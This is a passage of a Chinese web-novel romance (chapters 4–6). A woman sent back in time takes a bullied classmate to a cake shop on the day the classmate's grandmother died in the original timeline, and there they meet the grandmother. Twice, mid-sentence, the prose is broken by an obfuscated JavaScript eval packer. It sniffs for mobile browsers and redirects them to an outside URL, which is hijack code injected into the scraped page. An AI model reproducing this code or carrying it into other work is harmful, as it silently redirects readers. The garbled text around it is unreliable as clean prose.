崔璇湿漉漉的睫毛上还挂着碎光,唇瓣轻抖着,吐出一个带着颤的音节。 “…疼……” 声音很轻,带着闷闷的鼻音,和些许哭过的沙哑: “…对不起…我,我疼……” 赵明月神情怔住,下意识松开攥崔璇的手。 借着巷外余光,她瞥见崔璇半掩在短了袖口毛衣下的,腕上交错的青紫伤痕。 心头骤然一缩,赵明月不自觉后退两步,方才抓着崔璇的右手火烧似的痛麻。 “我……” “谢谢。” 崔璇低着头,把袖子下拉,盖住那些她并不想显露人前的伤痕,闷声重复: “谢谢你帮我,你…你想我怎么报答你呢?” “报答?” 头痛缓缓消减,混沌却仍旧在脑海中肆虐,赵明月几乎无法思考,无法辨别现在的情况,只下意识跟着喃喃重复。 崔璇低头紧贴着墙面,手指攥紧扯下去的袖口,唇瓣抿直,犹豫着抬头看她一眼,又很快垂下脑袋: “对不起,我没有钱给你,但除了钱,我可以,可以做别的,帮你做值日,搬东西,什么都可以……” 可那都不是她想要的。 在崔璇越来越小的声音中,赵明月的理智仿佛才渐渐回归。 那都不是她想要的,可崔璇如今想给的,能给的,愿意给的,只有这些。 崔璇是经历了无法承受的痛苦绝望,濒临崩溃无法支撑才幻想出那个赵明月,移情投射神化,寄予近乎信仰的浓烈爱意。 如果一切还没发生,如果一切不会发生,她对于崔璇来说只是一个普通的,伸出过一次援手的陌生人而已。 甚至在崔璇看来,她的帮助或许还是多余、麻烦、危险的,所以曾经的崔璇被她救下,却选择逃走。 是她做得还不够,她做得不够多,她在崔璇心里,还不够重要。 可要怎么做才能够?怎么做,才能让崔璇对她的感情,胜过那个赵明月呢? 有可能吗? 有可能吧。 崔璇现在很想逃,很想远离她吧?她可以放崔璇走,她可以放任崔璇离开。 崔璇会像上一世一样,放学后回到大伯家,在争执中被砸骨折,崔璇会痛到一夜难眠,而后在明天得知奶奶去世。 只要她对接下来会发生的一切不管不顾,只要她坐视不理,只要她袖手旁观,只要她,放任命运的洪流碾过崔璇。 崔璇会很痛苦,很绝望,她可以,她可以在崔璇最痛苦的时候,成为崔璇的依靠,她可以在崔璇被推来阻去无处可归时收留崔璇,她可以带崔璇接受最好的治疗,她可以帮助崔璇、安慰崔璇、陪伴崔璇、拯救崔璇…… 崔璇会爱上她。 崔璇一定会爱上她,想要紧紧抓住她,再也离不开她的吧。 只要她什么都不做。 只要崔璇痛苦。 她就能,她就能得到真实的,热烈的,比对那个‘赵明月’更加真实,更加热烈,只对她一个人,只属于她一个人的,崔璇的…… 爱。 4. 第4章 淅淅沥沥的雨敲打墙瓦,路灯暖光漫不进这幽深小巷,崔璇低垂着眸子,眸中映照地面被砸出涟漪的水洼。 沉默。 无言的沉默中,崔璇心底畏惧节节攀升。 窸窸窣窣的声响混在雨声里,不等她抬眼看清,什么东西忽然飞来,啪嗒一下落在她头顶,将视线一并罩进沉闷的、带着余温的黑暗里。 崔璇不自觉往后仰了一下,脑袋碰上墙面,呼吸与心跳倏然急促。 大脑敲响警钟,身体几乎传来幻痛,她下意识躬身抱住脑袋,预想中的拳脚却迟迟没有落下。 半晌过去,才有一道辨不清情绪的声音响起:“怎么?在等我揍你?” 崔璇在黑暗中怔了几秒,小心抓住头顶布料露出脑袋,见赵明月抱臂站着,神情隐在墙壁的阴影里看不真切。 “对,对不起……” 她垂下眼睛,略带茫然地盯着外套看了几秒,嗫喏着道谢:“谢谢,我,我不冷…这个,还给你……” “不冷就披上挡雨。” 赵明月不由分说把外套重新罩在她身上,帽檐宽大,遮得住崔璇脑袋。她原本要去握崔璇手腕,想起崔璇腕上有伤,指尖微顿,转而又去牵住她的手。 掌心那细瘦冰冷的触感,几乎让赵明月以为自己攥了具尸体的手。 ……或许也差不了多少。 今天过后,崔璇拖着骨折的脚在医院跛行,父母大伯争夺财产的争执声里她掀开白布,见到奶奶尸身。 她失去了养大她的,最亲近的,唯一在乎她的亲人,也失去了真正的家,再没有容身之处。 行尸走肉尚可无知无觉、无痛无感,比之崔璇处境,兴许还要好出太多。 赵明月紧攥着她冰冷的手,沉默片刻,忽然拉着她快步往外跑。 崔璇慌忙按住头上险些掉落的外套,被赵明月牵着右手,踉跄着踩过泥泞水洼,走出昏暗小巷。 没了巷子两侧的墙壁遮挡,雨势忽然猛烈得多,水汽如丝如雾,仿佛将路边暖黄色灯光氤氲揉皱。 头上的外套挡住了风雨,崔璇晃动的低垂视野里,是长至腰间的高马尾,发尾随着奔跑摇晃,时不时擦过手背,有些发痒。 穿过路口,赵明月在便利店里买了两把伞,付钱时牵着崔璇的那只手都不敢松开,生怕一松手崔璇又滑不溜秋逃走。 单手付钱,一把伞塞进崔璇书包,一把攥在手里,走出去抖抖撑开,罩在崔璇头顶,再牵着崔璇走到路边,抬手招来一辆出租。 出租车很快在面前停下,赵明月拉开后车门,崔璇抵着门框不肯进去,难掩慌乱:“你…你要带我去哪?要上课了,我……” “不是说要报答我吗?” “不是说除了钱什么都可以吗?” 赵明月把伞卡到车门一侧,单手拢住崔璇双手,弯腰托住崔璇腿弯,把人往车里一抱。 崔璇扶着车座慌乱后撤,左右环顾,退到另一侧想要开门,上下摸索却不知道该怎么打开。 焦头烂额之际,身后有人凑近给她轻轻一指:“想开门得拉这里。” 崔璇下意识道了声谢谢,听见身后一声轻笑,才反应过来刚刚是谁在提醒。 她惊慌回头,见对方嘴角噙着笑意,收回手慢悠悠整理着雨伞。 原地僵了两秒,崔璇犹豫着,试探着,小心翼翼转身,悄悄摸上对方刚刚指出的地方,稍稍施力拉动把手。 没动静。 再拉拉试试。 车门依旧纹丝不动。 司机看着后视镜问:“去哪啊姑娘?” 赵明月把收好的伞放在脚边:“万达那边的甜域蛋糕店。” 随着司机应声,车身一晃,崔璇后背猛地压上车座,她扶着车门缓了十几秒,才压下胃里翻滚的难受。 车窗外已经被雨打湿,擦掉内面水雾,也只能看到在雨水冲刷下的斑斓色块,随着车辆启动飞速后撤变幻。 赵明月把她搭在门把上的手捞下来:“忘了跟你说,这边的车门锁着呢。” 崔璇唇瓣紧抿,仍旧有些不安,但偷听到目的地是蛋糕店后,到底不如之前那样恐惧。 就算态度有些凶,话说得有些吓人,但其实对方没有伤害她不是吗?不止如此,还打了欺负她的坏人,把自己的外套给她穿让她避雨,穿着跟自己一样的校服,是同校同学。 这个人大概,应该,可能,或许……不是坏人。 犹豫片刻,崔璇小声问:“你…你今天生日吗?” 赵明月:“不是。” 崔璇不知道为什么,心跳忽然有些快:“那怎么…为什么要去蛋糕店呢?” 为什么要去蛋糕店。 赵明月也不明白。 她明明知道最轻松的,最能达到自己目的的做法是什么……放任崔璇的奶奶车祸去世,成为崔璇绝望中的救赎,唯一的依靠。 握住崔璇的手之前,她都没能放下那疯涨的恶念。 可当崔璇细瘦的手指陷在掌心,冰冷的温度传导心底,赵明月忽然惊醒。 她真的敢去赌吗? 敢拿崔璇的命去赌? 敢去赌崔璇崩溃痛苦绝望之后,究竟是会接受她的帮助,把她当做唯一依靠,还是再度陷入深渊,更快,更快地崩坏? 如果明知如何改变而不去做,放任痛苦降临,她以后,真的还敢面对崔璇,还敢直视崔璇的眼睛吗? 我能做得更好。 赵明月想。 哪怕没有那些痛苦,也可以让崔璇喜欢上她,离不开她,她能做到。 她能保护好崔璇,她能,让崔璇喜欢她,离不开她。 垂眸看着因为长时间得不到回答,神情逐渐变得不安的崔璇,赵明月开口: “去蛋糕店,当然是因为……我想吃甜点了。” 崔璇不由怔住,后知后觉反应过来,蛋糕店卖生日蛋糕也卖甜点,不是只有生日才能去的。 “…哦……哦,”不太自在地低头避开她的目光,崔璇嗫喏:“可,刚刚超市里也有甜点呀。” 赵明月看着她:“我不爱吃那种,我就爱吃现做的。” 崔璇唇瓣轻抿,不敢抬头看她,只低头抠着手上倒刺,小声道:“快上课了,晚自习要是不在,老师……” 赵明月抓住她的手,不让她继续乱抠:“我会解决,不用想那些。” 她方才一直牵着崔璇的手,好不容易捂热一点,只放开那么一会儿,又变得冷冰冰了。 对崔璇过去的认识,似乎从一句句转述,逐渐变成联通感知的画面,再变成眼前的,具体的崔璇。 吃不饱穿不暖,身体虚耗亏损形销骨立,浑身上下掐不出二两肉,这样冷的雨天,校服里套着盖不住手腕的短旧衣服,连手都捂不热。 这就是现在的崔璇。 这就是曾经的崔璇。 手被人抓着,崔璇心下不大自在,再看对方垂眸拧眉,像是不开心,崔璇唇瓣轻抿,小心试探着想要抽手。 察觉崔璇动作,赵明月手指下意识攥紧,听得一声轻嘶,才回神松开。 崔璇立刻把手收回,压在腿下,悄悄打量她。 “你…认识我吗?” 赵明月侧脸看她:“你觉得呢?” 崔璇不说话了。 过了一会儿,她鼓足勇气开口:“我…我叫崔璇,是高二的。” 崔璇想知道她的名字,所以先说了自己的。可对方只是‘哦’了一声,没有告诉她。 崔璇有些泄气,脑袋又低下去,静默几秒,手撑着坐垫往车门方向挪了一点。 悄悄歪头打量,却正对上她的目光,崔璇脑袋再次垂下去,不敢动了。 十二年前的崔璇,和赵明月想象中很不一样。 不是稚嫩麻木沉默寡言,却自有一股凶狠韧劲的野草,反倒像只伤痕累累,畏缩胆小的兔子。 安安静静一小团,遇到危险就想跑,跑不掉就塌下耳朵缩着身体抖,发现危机解除,就又试探着支起耳朵,悄悄观察四方。 她从没想过十二年前的崔璇会是这副样子,更想不明白,如果这不是她幻想出的梦…… 这样的崔璇,走到后来沉默稳重游刃有余的地步,到底吃了多少苦头。 难以说清的情绪堵在胸口,赵明月把掉在后座的外套拿起,重新罩在崔璇身上。 崔璇微惊:“我…我不冷的……” 赵明月充耳不闻,自顾自对齐外套拉链:“我,赵明月,跟你一届。” 崔璇怔了两秒,后知后觉她是在说自己名字,下意识抬头。 赵明月和她对视两秒,慢慢将拉链 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这不是温柔,不是温吞,不是脾气好,这是近乎麻木的温驯,是赵明月从没想过,会在崔璇身上看到的性格。 车内安静下来,只有雨打车顶的哒哒声不绝,片刻后,司机出声提醒: “马上到了啊,外边雨大,你们提前把伞拾掇好。” 两公里多点的路,走起来比预想还要快。 等车停稳,赵明月打开车门,撑起雨伞下车回头,朝崔璇伸手示意:“来。” 雨滴声砸在伞面,顺着伞骨滴下去,在地面水洼砸出层层涟漪。 崔璇低头挪到车门边,小心踩到地面,看了下赵明月还伸着的手,犹疑两秒,小心抬起胳膊放进赵明月掌中。 那只手缩在袖里,只露出一点手指尖搭在赵明月腕上。 隔着硬挺宽松的束口衣袖,看起来鼓囊囊的滚圆一团,赵明月下意识隔着衣袖捏了下。 闷在袖口里的空气迅速逸散,面料塌下去,算不上厚实的布料里,裹着截棱角分明的细瘦腕骨。 赵明月刚刚弯起的唇瓣再次抿直。 崔璇把手给赵明月了,却是另一只手撑着车框施力下去的,下车后回身,小心推着车门轻轻合上。 “打不过别人就算了,怎么关个门也软绵绵的?” 在司机开口提醒前,赵明月上前一步,站在还没来得及转身的崔璇身后,稍稍俯身,重新拉开一点车门,施力关严。 随着砰的一声,车门被关严。 崔璇后知后觉反应过来,原来车门不能像房门一样关。 她有些尴尬地攥紧袖口,眼睛乱瞟,看见身前那只属于赵明月的,攥着伞柄的手,忽然意识到背后的赵明月,现在跟她是如此贴近。 睫毛轻颤一下,崔璇慢慢抿起唇瓣,悄悄抬头朝后看。 赵明月恰在此时低头,和她四目相对。 崔璇有双如小鹿般灵动干净的漂亮眼睛,眼型圆润,睫毛微翘,眼尾下垂,黑色瞳仁如溪水底下的石子,纯净分明。 赵明月最喜欢这双眼,年少时惊鸿一瞥就记了许久,以至于几年后重逢,也能一眼识出。 她静静看着那双眼,脑袋向下稍低,收回来的那只手下意识想扶住崔璇侧腰,指尖刚碰上外套,蓦然停住,缓缓屈指攥进掌心。 出租车驶动,赵明月半收的手倏然按在崔璇腰侧,收力将崔璇抱向自己的同时,胳膊箍着她腰肢半转。 轮胎溅起的泥点飞到她鞋面裤腿,赵明月却无暇顾及,圈在崔璇腰间的手慢慢松开。 “……是车开了。” 崔璇还维持着仰头看赵明月的姿势,神情有些呆愣,停了几秒,才迟钝地啊了一声,下意识放开按在赵明月手臂上的手。 按着发烫的耳朵离开赵明月怀抱,不知所措地后退几步,又被赵明月一把抓住。 赵明月抓着她胳膊,把人重新拉进自己伞下:“这是路边,有车,还在下雨,很危险。” “对、对不起……”崔璇下意识弯腰蹲下去,想给赵明月擦鞋子上的泥点,却被赵明月用力拉起来。 “……你干什么?” 5. 第5章 “我,我把鞋子给你擦干净。” 想到自己身上穿的是赵明月的外套,怕赵明月误会,崔璇连忙从兜里拿出卫生纸: “不是用你的衣服,我带了卫生纸,虽然…有点皱,但没有用过,是干净的。” 赵明月看着紧张的崔璇,唇瓣抽动却说不出话,心脏仿佛被什么紧紧攥住,酸涩的胀意让她喉咙堵了块棉花似得发紧。 同情?心疼?怜悯?赵明月不知道,她只知道除了难受之外,胸中更是憋着股难以言说的火。 用力吸一口气,缓缓吐出来,赵明月开口:“不用。” 看崔璇还要说什么,她直接伸手夺过卫生纸,随便擦了擦,把脏纸团丢进路边垃圾桶。 “快绿灯了,我们要去路对面那个蛋糕店。” 崔璇唇瓣紧抿,心底还有些过意不去,看了几秒,鼓起勇气小声问:“谢谢你,我,我来打伞吧…可以吗?我可以的,我会好好撑伞,不会让你淋湿,真的。” 赵明月沉默两秒,伞朝她偏了偏示意。 崔璇胳膊抬起来,又落下去,手忙脚乱往上扯扯袖子,终于把手指露出来,而后两只手才稳稳接住伞柄。 走到路口等红绿灯时,雨势比方才大了不少,噼里啪啦落在伞面上,顺着伞骨下落,密集地滴下。 崔璇瞥一眼身旁的人,悄悄往上抬了抬两只胳膊。 赵明月垂眸,看到崔璇有些潮湿的发顶,好像才后知后觉如今的崔璇,比她想象中还要矮一些。 赵明月看过崔璇的班级合照,或许是长期营养不良导致发育跟不上,即便比班里同学大上一两岁,照片里的崔璇也仍旧不高。 她们曾经相差半头,如今的崔璇只到她鼻尖。 赵明月单手攥住伞柄向下压,往崔璇那里偏了些。 崔璇连忙开口:“不用,不用这样,你会看不见路面……” “你能看见就行了,”赵明月伸手攥住崔璇胳膊:“你能看见,可以你带着我走。” “你可以…带我走,崔璇。” 赵明月说的话分明很正常,可崔璇不知道为什么,心里竟然有些难过。 摈弃这没来由的杂念,崔璇认真应了一声:“我知道……我一定认真看路,不会让你遇到危险的。” 小心观察着路况,带赵明月穿过马路,停在蛋糕店前,崔璇才松了口气,站在台阶上,仔细抖落伞面的雨珠。 赵明月拿过她手里的伞,甩甩雨珠折好,推开玻璃门。 门口悬挂的风铃叮当作响,崔璇下意识抬头望,透明丝线穿起的水晶蝴蝶轻晃,她一时看得有些入神。 “看什么呢?” 赵明月顺着崔璇看的方向瞥了一眼,拉上崔璇的手往里走。 “走啦,去里边看看。” 崔奶奶买完蛋糕后,在附近的路口出了车祸,赵明月不知道崔奶奶现在在哪,只好带崔璇来这个蛋糕店守着。 展示柜前亮着暖黄色灯光,一层层漂亮精巧的、崔璇叫不出名字的甜点整齐摆列。 店员过来招呼,听赵明月说想自己看看,就又回了收银台等着。 赵明月左看右看,迟迟不选,崔璇有心想让赵明月早点买完,早点回去上课,但又不敢催促,纠结半晌才憋出一句:“你想吃什么?” 赵明月半点不急,慢悠悠在展示柜前转悠:“没想好,我再看看。” 崔璇心里着急,又开始攥衣摆,揪了两下想起这不是自己的外套,心里一慌连忙松手,小心抚平外套上的褶皱。 还没彻底压平,肩膀忽然被人揽住一扯,差点让她贴到展示柜上。 赵明月:“我选不出来,你帮我看看哪个好吃。” 崔璇慢慢平复心跳,小声道:“……对不起,我不知道。” 这里的漂亮点心她一个也没吃过,哪个好吃自然也无从得知。 赵明月:“你感觉一下呢?感觉哪个看着好吃,有食欲,想吃?” 崔璇扫一遍,犹豫着选了个价格最便宜的:“那个吧。” “你这态度一点都不认真,一看就没认真选,”赵明月挂在崔璇肩上的手抬起,抵着崔璇下巴让她抬头:“好好选,不要敷衍。” 崔璇其实没有不认真,她看什么都觉得好吃,有食欲,想吃。但赵明月要她重选,她只好又认认真真看了一遍,选了个第二便宜的。 赵明月懒洋洋道:“感觉看起来不是最好吃的,而且也太便宜了,不吃,你好好挑。” 便宜难道不好吗? 崔璇不明白,闷头再看一遍,指了个价格不高不低的。 赵明月凑近挑剔地打量,沉吟几秒,勉强嗯了一声:“差不多,那就这个吧。” 崔璇如蒙大赦,眼看赵明月抬手叫店员选定,以为买完终于可以回学校,神情刚松快些,却听赵明月添了句:“不用打包,就在这儿吃。” 崔璇:…… 崔璇眼睛睁圆:! 赵明月垂眸笑起来,揉了把仰着脑袋看她的崔璇,故意吓唬她:“你再瞪我试试呢?” 崔璇连忙把圆圆的眼阖成半圆,不敢看她了,攥着手指纠结,小声问:“不能…带回学校吃吗?” 赵明月摇摇手指:“不行,现吃口感还好,等带回去就不好吃了。” 崔璇其实不明白为什么几分钟的路程就会让蛋糕变不好吃,但她知道自己没办法让对方改变主意。 轻轻叹了口气,托盘里的甜点忽然映入眼帘,崔璇疑惑抬眼,听见赵明月哼笑着问:“你想吃吗?” 崔璇连忙摇头。 太贵了,太贵了,那么贵,又只有那么小一块,这样的东西不是她能吃的,也不是她该吃的。 赵明月把托盘塞进到崔璇手上:“我去结账,你帮我端到那边桌子吧。” 崔璇噢了一声,乖乖端住托盘过去放好,看赵明月还没过来,就站在座位旁四处打量,想找到钟表看看时间。 应该会迟到了,该怎么跟老师道歉认错呢?会迟到很久吗?甜点只有那么一小块,就算迟到,应该…应该也不会很久吧? 鼻尖萦绕着蛋糕特有的甜蜜香气,崔璇想着想着,目光不自觉被展示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550702|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜里的模型蛋糕吸引。 今天是她的生日呢。 要是可以让她用模型蛋糕许个愿,那该多好啊! 赵明月走来坐下,挡住崔璇视线,明知故问:“看什么呢?” 崔璇没回答这个问题,只鼓起勇气小声催促:“你可以……吃快一点点吗?不然可能要迟到的……” “尽量,我尽量。”赵明月嘴上应承,慢悠悠拿起小勺,挖下一小块甜点送进嘴里。 有点太甜。 她歇了给崔璇吃的念头。 她吃得缓慢,崔璇看得着急,又不敢说,只一眼一眼地看赵明月,试图用这样的动作偷偷暗示,催促赵明月。 赵明月视若无睹,吃得慢条斯理四平八稳。 大概明白催促没用,崔璇终于放弃,觉得盯着别人吃东西不太好,半趴在桌子上转过头去,这一转,目光就不自觉对上展示柜的蛋糕模型。 崔璇在看蛋糕模型,赵明月在看她。 崔璇的崩溃绝望,后来的幻想,与她的恩怨纠缠……一切的一切都始于今天,始于崔奶奶的去世。 崔璇的性格不会主动要求奶奶来给她过生日,可奶奶大概舍不得崔璇孤零零地度过成年礼,所以不辞辛劳也要前来,期盼着能给崔璇一个惊喜,能陪崔璇一起成年。 可十八岁的生日蛋糕和奶奶一起被碾坏,永远留在了过去。 奶奶躺在手术台上的那几个小时,有没有后悔过自己不该来?有没有害怕自己就这样撒手人寰,死在崔璇生日?有没有担心她一手带大的孩子会痛苦崩溃,自我怨憎? 赵明月不得而知。 可无论奶奶多想活下来,也只撑到第二天凌晨便长辞于世。 崔璇血缘上的亲人与肇事方争吵赔偿款时,口口声声对方害死一条人命,可转过头,却又说奶奶是被崔璇害死的。 团结起来恨一个人,总比追究责任容易,推选出承担愧疚的替罪羊,总比反思过错简单。 他们从肇事者手中取得财富,又给崔璇定罪,逃避疏忽赡养的责任。他们不会说奶奶想出门时无人相陪照顾,只会说要不是为了给你过生日,奶奶怎么会死。 可悲的是,连崔璇也从心底认同害死奶奶的人是自己。 这场悲剧中,崔奶奶最珍视在乎、最想保护的人,却遭受了最重的指责,落下永远无法磨灭的创伤,最终在多年后,一步步走向死亡。 对崔璇的爱,却变成他人手里刺痛崔璇的刀,如果奶奶泉下有知,想来也会痛苦难过。 轻盈细碎的风铃声让赵明月回神,还没看过去,一道声音率先传入耳内。 “小福!” 赵明月下意识抬眼看向对面,原本神情恹恹趴在桌上的崔璇忽然坐直,双眼睁圆,探头往门口看。 赵明月看得清楚。 崔璇脸上表情从茫然到惊喜,头顶灯光折射在她眼中,圆睁的眼就变得亮晶晶,猛地起身磕到桌角也顾不上疼,嘴里叫着‘奶奶’,就离笼小雀般扑向门口。 是赵明月从未见过的急切喜悦,生动活泼。 6. 第6章 门口那衣裳鼓囊囊,背着大箩筐,头发半白身形佝偻的奶奶,正紧紧攥着崔璇的胳膊。 “小福,你咋在这儿呢?自己买糕糕来啦?” 崔璇摸着奶奶潮湿的外衣:“你怎么来了奶奶?你怎么来的?怎么身上都淋湿了……” “出来时莫丢星,走着走着下咯,乖咋在这呢?莫去上学嘞?” 崔璇不知道怎么回答时,忽然有一道声音接过话。 “学校停电了,说提前放学,崔璇是陪我一起来的。” 崔奶奶看看赵明月,又看看崔璇:“这,这是……” “奶奶好,”赵明月把奶奶攥着崔璇胳膊的手抓到掌心,握着上下晃动,笑容灿烂:“我是崔璇的…朋友,您叫我小赵就行。” 趁奶奶在跟赵明月说话,崔璇悄悄揉了下胳膊,赶紧伸手要帮奶奶背箩筐,赵明月搭了把手,一块放下后,听崔奶奶在叫崔璇。 “小福快来!瞅瞅喜欢哪个糕糕,奶奶给你买!” 崔璇应了一声,刚往那边走了两步,又犹豫着回头看一眼赵明月,见赵明月朝她摆手,才继续往奶奶那边走。 “这个喜不喜欢?” 那么多水果一定很贵,崔璇摇头。 “这个呢?这真好看,还是个大鹅呢!” 蛋糕模型下面没有标价格,但直觉告诉崔璇,这种精巧的蛋糕一定不便宜,她再次摇头。 “这个呢……” 奶奶指一个,崔璇就摇一次头,到了后来,她自己都有点不好意思,犹豫着回头几次,指向旁边的甜点展示柜。 “奶奶我不饿,要不买那个小蛋糕吧?” 甜点展示柜里摆着三寸小蛋糕,两层圆蛋糕胚、淡青色奶油和果酱,几颗青提切开填顶,装在透明塑料盒里,卖二十一个。 崔璇觉得这个也贵,但比起模型展示柜里那些,应该还是便宜很多。 崔奶奶看了一眼,知道崔璇是心疼钱,没答应:“那么小,咋能过生日吃?你要不选,奶奶给选。” 她在展览柜前看了看又看,指了个铺满水果的蛋糕,问店员价钱。 店员:“咱们店里用的都是动物奶油,价格比植物奶油贵,这款做六寸要一百三,四寸的九十九,您看咱们选哪款?” 什么动物植物的,植物是菜苗子,动物是家里养的鸡狗,咋就跟奶油扯上关系了?崔奶奶听得迷迷糊糊,直到后边价格报出来,一个激灵瞬间清醒了。 “能便宜点不?这也太贵啦,俺镇上六寸才四十……” 蛋糕价格是店里定的,店员也只是个打工人,只能无奈地跟崔奶奶讲讲两种奶油的区别。 崔奶奶其实没太听懂,但大概知道便宜的那个对身体不好,贵的才是好奶油。 想着自己带来的钱,她一时有些犯难,买了蛋糕,剩下的钱要留给孙女,蛋糕花钱多了,给孙女的钱就少了。 要不,要不就先买个四寸的? “我有会员卡,”赵明月忽然开口,把手机递过去:“我记得最高能抵一百是吧?要六寸那个,您划走抵一百的积分,剩下的三十奶奶付现金行吗?” 店员刚想说店里会员积分不能那么用,看清手机屏幕上是付款码,才后知后觉反应过来她的意思,连忙应了一声。 “可以、可以的,您来这边我核销一下。” 什么会员什么积分,都是崔奶奶听不懂的话,她拉住赵明月胳膊,带着点不安:“你们说的是啥呀?咋就只要三十了?俺不用花你的钱啊闺女……” 赵明月耐心解释:“在店里买东西送积分,积分不用花钱但能抵钱,我卡里积分还多着呢,反正放着也要过期浪费,不用白不用。” 崔奶奶大概听懂了,但蹭了人家的便宜,还是让她心里过意不去:“这,这该咋谢你?俺折了钱给你吧?” 赵明月主动开口:“奶奶,您要想谢我的话,不如让我去你们家蹭顿饭吧?崔璇过生日肯定要吃好吃的,我也想去蹭个饭。” 崔奶奶连忙应了一声,明显高兴起来:“应该的,应该的,你是俺娃好朋友,过生日该来。” 赵明月笑:“行,我手里也没钱,剩下的钱还是得奶奶付。” 崔奶奶连连点头,一层一层地把衣裳从裤腰拽出来,摸进最里层衣裳的口袋,掏出个小布包。 翻开一层花花蓝蓝的布,再翻开一层花花绿绿的布,最后拿出花花红红的,鼓囊囊的小布钱包。 掀开扣子,拿出一卷钱,仔仔细细数。 赵明月朝身后看,看见个黑乎乎的脑袋顶,她后退两步走近崔璇,托住崔璇下巴捧起来。 崔璇抬起的眼略带惊慌地乱眨,漆黑的眸雾蒙蒙,长而微翘的睫毛上沾着细碎的光,下意识想用袖子擦眼睛,看见袖口时停住,反应过来自己身上是赵明月的衣服。 在崔璇用手乱擦前,赵明月从桌子边抽了张纸巾拿给崔璇。 崔璇有些尴尬,胡乱擦了擦,低头盯着自己脚尖,闷声道:“谢谢,刚刚谢谢你……” 今天见到的崔璇,好像总在用脑袋顶跟她说话。赵明月伸手,揉了把崔璇脑袋顶,直把她揉得东倒西歪险些站不稳。 崔璇想抱住脑袋,却碰到赵明月的手,吓得猛缩回去,赵明月就更放肆地又揉两下。 看崔璇要低头躲时,赵明月忽然开口:“别动。” 崔璇真就下意识定住不动了。 赵明月把崔璇脑袋摆正,用手指慢悠悠梳:“你头发怎么炸了?我给你顺顺。” 崔璇愣愣任她动作,等赵明月的手从她脑袋顶离开,慢吞吞摸了摸自己被梳顺的头发,下意识又道了声谢谢。 赵明月听笑了:“你刚刚说什么?” 崔璇说话时不太敢看人,面对赵明月时尤甚,此时仍旧低着脑袋,声音弱弱,却认真回答她的问题:“说…谢谢你。” 谢谢她? 怎么会有这么傻的人呢? 赵明月想不通,更想不通这么傻的人,怎么会是从前的崔璇呢? “不用说谢谢,给你记账上了,都是要还的。” “我会还的,”崔璇抬起头,第一次这样认真地看着赵明月眼睛说话,紧张得睫毛在抖,声线在颤,后背手心发软出汗,也仍旧没移开视线,语气坚定:“我愿意还的。” 这次是真的愿意。 哪怕赵明月多要一些钱,多让她做很多事,她也真的,心甘情愿。 赵明月伸手,盖住那双沾着泪光的眼,柔软睫毛扫过掌心,她停顿两秒,移开手掌: “去看看你的生日蛋糕。” 今天下雨,前面却还有一单,等了十分钟,蛋糕师才开始做她们的蛋糕。 崔奶奶跟崔璇都坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550703|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凳子上,隔着玻璃窗往里看蛋糕师抹奶油面。 崔奶奶忧心忡忡:“还得多久哟?晚了就跟不上车了……” 从这儿到公交站牌有段距离,走过去得十几分钟,她怕赶不上最后一趟车。 赵明月提议:“要不去我家?我家在附近,就我一个人住,地方挺宽敞,再住几个人都没问题。” 外边下着雨,崔奶奶又大包小包背那么多东西,哪能坐公交赶路呢?更何况也是今天,那个喝醉的大伯在推打中砸折了崔璇脚腕。 虽然赵明月有信心就算去了也不会吃亏,但今天是崔璇的生日。 是崔璇的成年生日。 崔璇应该安安稳稳,开开心心度过这一天。 “那咋行?哪有上别人家过生日的……” 看崔奶奶在迟疑,赵明月又补充道:“这个点又下着雨,肯定赶不上末班车了,我住的地方离学校很近,也方便崔璇明天上学。” 崔奶奶拿不定主意,迟疑着看向崔璇。 崔璇唇瓣动了动,想起大伯家的情况,对赵明月的提议说不出拒绝的话。 当初听说她考上市里高中,大伯母就说让她来家里住,学校住宿环境差,恰好表姐上大学空下一个房间。 高一有伯母在,崔璇日子过得不错。高二上半年大伯母跟大伯离婚,从那之后崔璇的日子就不太好过了。 家务全落到了她头上,大伯心情不好骂她,喝醉酒偶尔还会打她,厕所的门坏了,她不敢在里面洗澡,上厕所也要趁大伯不在或者睡着…… 再后来大伯把次卧租出去,让她到杂物间支了床。 如果奶奶跟她一起回去,她住在杂物间的事就瞒不下去了,大伯不要脸可以不痛不痒,奶奶却肯定会被气坏。 然后呢?奶奶应该会拿出积蓄,让她早点回学校住宿,回去后再努力赚钱。 崔璇知道,其实告诉奶奶才是对她最好的选择。可她说不出口,不想把麻烦带给奶奶,不想奶奶那么辛苦。 她已经在努力打工,再有半年就能攒出高三的生活费,然后她就可以告诉奶奶,学校决定给她免除食宿费用,不花钱也能住宿上学…… 再给她一点时间,她能解决这些麻烦的。 现在做不到,只能厚着脸皮先麻烦赵明月。 她会还的。 不论赵明月要多少钱,要她做多少事,她都愿意的。 赵明月提前叫了车,司机来得很快,加钱后更愉快地把崔奶奶的箩筐搬进后备箱,这边搬完,店里蛋糕也打包好了。 外面的雨越下越大,不打伞几步就要被淋湿,好在赵明月买了两把伞,手里那把给崔奶奶,又去找崔璇要她书包里那把。 崔璇把伞翻出来给她,提上蛋糕,正想往奶奶伞下走,忽然听赵明月不急不缓说了一句: “奶奶这么心疼你,跟你一起走,伞肯定朝你那边偏。” 崔璇迟疑两秒,打消跟奶奶一起走的念头,老老实实站到赵明月撑开的伞下。 外面雨势越下越大,打在伞上噼啪作响,崔璇小心提着蛋糕,紧跟赵明月脚,迈过积水的地面。 